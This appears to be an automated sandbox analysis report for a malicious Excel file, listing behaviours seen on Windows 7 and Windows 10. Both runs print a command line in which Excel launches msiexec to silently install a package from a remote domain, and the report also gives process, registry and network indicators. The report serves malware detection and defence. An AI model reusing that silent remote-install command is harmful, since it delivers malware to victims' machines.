Analysis Overview
SHA256
8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b
Threat Level: Known bad
The file 8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Suspicious Office macro
Use of msiexec (install) with remote resource
System Location Discovery: System Language Discovery
Enumerates system info in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Checks processor information in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-09-07 21:20
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-09-07 21:20
Reported
2024-09-07 21:21
Platform
win7-20240708-en
Max time kernel
27s
Max time network
17s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\msiexec.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Use of msiexec (install) with remote resource
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\msiexec.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeShutdownPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\msiexec.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\msiexec.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\system32\msiexec.exe | N/A |
| Token: SeCreateTokenPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeAssignPrimaryTokenPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeLockMemoryPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeMachineAccountPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeTcbPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeCreatePermanentPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeChangeNotifyPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeSyncAgentPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeEnableDelegationPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeImpersonatePrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Token: SeCreateGlobalPrivilege | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2884 wrote to memory of 2636 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\msiexec.exe |
| PID 2884 wrote to memory of 2636 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\msiexec.exe |
| PID 2884 wrote to memory of 2636 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\msiexec.exe |
| PID 2884 wrote to memory of 2636 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\msiexec.exe |
| PID 2884 wrote to memory of 2636 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\msiexec.exe |
| PID 2884 wrote to memory of 2636 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\msiexec.exe |
| PID 2884 wrote to memory of 2636 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\msiexec.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b.xls
C:\Windows\SysWOW64\msiexec.exe
msiexec.exe RESTART=1 /i http://zonaykan.com/lsadat2 /q ADRESS=TEMP
C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | zonaykan.com | udp |
Files
memory/2884-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2884-1-0x0000000072A9D000-0x0000000072AA8000-memory.dmp
memory/2884-2-0x0000000072A9D000-0x0000000072AA8000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-09-07 21:20
Reported
2024-09-07 21:21
Platform
win10v2004-20240802-en
Max time kernel
46s
Max time network
36s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\msiexec.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Use of msiexec (install) with remote resource
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeShutdownPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\system32\msiexec.exe | N/A |
| Token: SeCreateTokenPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeAssignPrimaryTokenPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeLockMemoryPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeMachineAccountPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeTcbPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeCreatePermanentPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeChangeNotifyPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeSyncAgentPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeEnableDelegationPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeImpersonatePrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
| Token: SeCreateGlobalPrivilege | N/A | C:\Windows\SYSTEM32\msiexec.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3980 wrote to memory of 3944 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\msiexec.exe |
| PID 3980 wrote to memory of 3944 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\msiexec.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b.xls"
C:\Windows\SYSTEM32\msiexec.exe
msiexec.exe RESTART=1 /i http://zonaykan.com/lsadat2 /q ADRESS=TEMP
C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| NL | 52.109.89.19:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | zonaykan.com | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.89.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 12.173.189.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
Files
memory/3980-0-0x00007FFA70010000-0x00007FFA70020000-memory.dmp
memory/3980-1-0x00007FFAB002D000-0x00007FFAB002E000-memory.dmp
memory/3980-3-0x00007FFA70010000-0x00007FFA70020000-memory.dmp
memory/3980-2-0x00007FFA70010000-0x00007FFA70020000-memory.dmp
memory/3980-5-0x00007FFA70010000-0x00007FFA70020000-memory.dmp
memory/3980-4-0x00007FFA70010000-0x00007FFA70020000-memory.dmp
memory/3980-9-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
memory/3980-8-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
memory/3980-7-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
memory/3980-6-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
memory/3980-11-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
memory/3980-10-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
memory/3980-12-0x00007FFA6DD30000-0x00007FFA6DD40000-memory.dmp
memory/3980-13-0x00007FFA6DD30000-0x00007FFA6DD40000-memory.dmp
memory/3980-14-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
memory/3980-16-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
memory/3980-17-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
memory/3980-19-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
memory/3980-20-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
memory/3980-18-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
memory/3980-15-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
memory/3980-21-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
memory/3980-22-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
memory/3980-37-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
memory/3980-38-0x00007FFAB002D000-0x00007FFAB002E000-memory.dmp
memory/3980-39-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | dbf73059ab2b7042159f2bbed9c864cc |
| SHA1 | b6bf717b7bca85b9634069fa8f73ab8336a647d2 |
| SHA256 | 211e6673a047cbd6c403b466339311c41094ceb37a1558d2a55d6e44b58e5480 |
| SHA512 | 77248727406bfcdc1e6ef878212a82a559ead5860f32ebd3e6c2bc231165658d42b882a1f36f3e08e48e03f432b2dd9374d098477c8634d2291236a42a558965 |